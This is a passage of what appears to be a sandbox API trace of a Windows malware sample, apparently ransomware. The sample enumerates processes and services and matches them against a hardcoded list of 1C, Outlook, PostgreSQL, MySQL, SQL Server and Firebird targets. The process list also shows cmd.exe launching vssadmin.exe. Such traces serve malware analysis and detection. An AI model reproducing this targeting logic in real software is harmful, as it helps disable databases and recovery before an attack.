-1 [0051.233] lstrlenW (lpString="Winmgmt") returned 7 [0051.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0051.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0051.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0051.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0051.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0051.233] lstrlenW (lpString="WPDBusEnum") returned 10 [0051.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.233] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0051.233] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0051.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0051.233] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x607b80 | out: hHeap=0x510000) returned 1 [0051.233] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x224 [0051.235] Process32FirstW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.236] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.236] lstrlenW (lpString="System") returned 6 [0051.236] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0051.236] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0051.236] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0051.236] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0051.236] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0051.236] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0051.236] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0051.236] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.236] lstrlenW (lpString="smss.exe") returned 8 [0051.236] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0051.236] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0051.236] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0051.236] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0051.237] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0051.237] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0051.237] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0051.237] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.237] lstrlenW (lpString="csrss.exe") returned 9 [0051.237] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0051.237] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0051.237] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0051.237] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0051.237] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0051.237] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0051.237] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0051.237] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.237] lstrlenW (lpString="wininit.exe") returned 11 [0051.237] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0051.237] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0051.237] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0051.237] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0051.237] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0051.237] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0051.237] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0051.238] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.238] lstrlenW (lpString="csrss.exe") returned 9 [0051.238] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0051.238] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.238] lstrlenW (lpString="winlogon.exe") returned 12 [0051.239] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.239] lstrlenW (lpString="services.exe") returned 12 [0051.239] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.239] lstrlenW (lpString="lsass.exe") returned 9 [0051.239] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.239] lstrlenW (lpString="lsm.exe") returned 7 [0051.239] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.240] lstrlenW (lpString="svchost.exe") returned 11 [0051.240] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.240] lstrlenW (lpString="svchost.exe") returned 11 [0051.240] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.240] lstrlenW (lpString="svchost.exe") returned 11 [0051.240] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.240] lstrlenW (lpString="svchost.exe") returned 11 [0051.241] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.241] lstrlenW (lpString="svchost.exe") returned 11 [0051.241] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.241] lstrlenW (lpString="audiodg.exe") returned 11 [0051.241] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.241] lstrlenW (lpString="svchost.exe") returned 11 [0051.241] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.242] lstrlenW (lpString="svchost.exe") returned 11 [0051.242] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.242] lstrlenW (lpString="dwm.exe") returned 7 [0051.242] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.242] lstrlenW (lpString="explorer.exe") returned 12 [0051.242] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.242] lstrlenW (lpString="spoolsv.exe") returned 11 [0051.242] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.243] lstrlenW (lpString="taskhost.exe") returned 12 [0051.243] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.243] lstrlenW (lpString="svchost.exe") returned 11 [0051.243] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.243] lstrlenW (lpString="taskeng.exe") returned 11 [0051.243] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.243] lstrlenW (lpString="taskhost.exe") returned 12 [0051.244] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0051.244] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0051.244] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0051.244] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0051.244] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0051.244] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0051.244] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0051.245] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0051.245] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0051.245] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0051.245] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0051.245] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0051.245] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0051.245] lstrlenW (lpString="toyota.exe") returned 10 [0051.245] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0051.246] lstrlenW (lpString="radiation.exe") returned 13 [0051.246] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0051.246] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0051.246] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0051.246] lstrlenW (lpString="ur illustration.exe") returned 19 [0051.246] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0051.246] lstrlenW (lpString="facing.exe") returned 10 [0051.247] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0051.247] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0051.247] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0051.247] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0051.247] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0051.247] lstrlenW (lpString="headline.exe") returned 12 [0051.247] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0051.248] lstrlenW (lpString="army_unsigned.exe") returned 17 [0051.248] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0051.248] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0051.248] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0051.248] lstrlenW (lpString="distribution-gif.exe") returned 20 [0051.248] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0051.248] lstrlenW (lpString="tribunal.exe") returned 12 [0051.248] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0051.249] lstrlenW (lpString="aafeof.exe") returned 10 [0051.249] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0051.249] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0051.249] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0051.249] lstrlenW (lpString="encryption.exe") returned 14 [0051.249] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.250] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0051.250] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0051.250] lstrlenW (lpString="1с_.exe") returned 7 [0051.250] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.250] lstrlenW (lpString="cmd.exe") returned 7 [0051.250] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.250] lstrlenW (lpString="conhost.exe") returned 11 [0051.250] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0051.251] lstrlenW (lpString="vssadmin.exe") returned 12 [0051.251] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0051.251] lstrlenW (lpString="VSSVC.exe") returned 9 [0051.251] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0051.251] CloseHandle (hObject=0x224) returned 1 [0051.251] Sleep (dwMilliseconds=0x1f4) [0052.177] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58ffb0 [0052.178] EnumServicesStatusExW (in: hSCManager=0x58ffb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0052.178] GetLastError () returned 0xea [0052.178] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x607b80 [0052.179] EnumServicesStatusExW (in: hSCManager=0x58ffb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x607b80, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x607b80, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0052.179] CloseServiceHandle (hSCObject=0x58ffb0) returned 1 [0052.179] lstrlenW (lpString="Appinfo") returned 7 [0052.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0052.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0052.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0052.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0052.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0052.179] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0052.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.180] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0052.180] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0052.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0052.180] lstrlenW (lpString="AudioSrv") returned 8 [0052.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0052.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0052.180] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0052.180] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0052.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0052.180] lstrlenW (lpString="BFE") returned 3 [0052.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0052.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0052.180] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0052.180] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0052.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0052.180] lstrlenW (lpString="CryptSvc") returned 8 [0052.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0052.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0052.180] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0052.180] lstrcmpiW 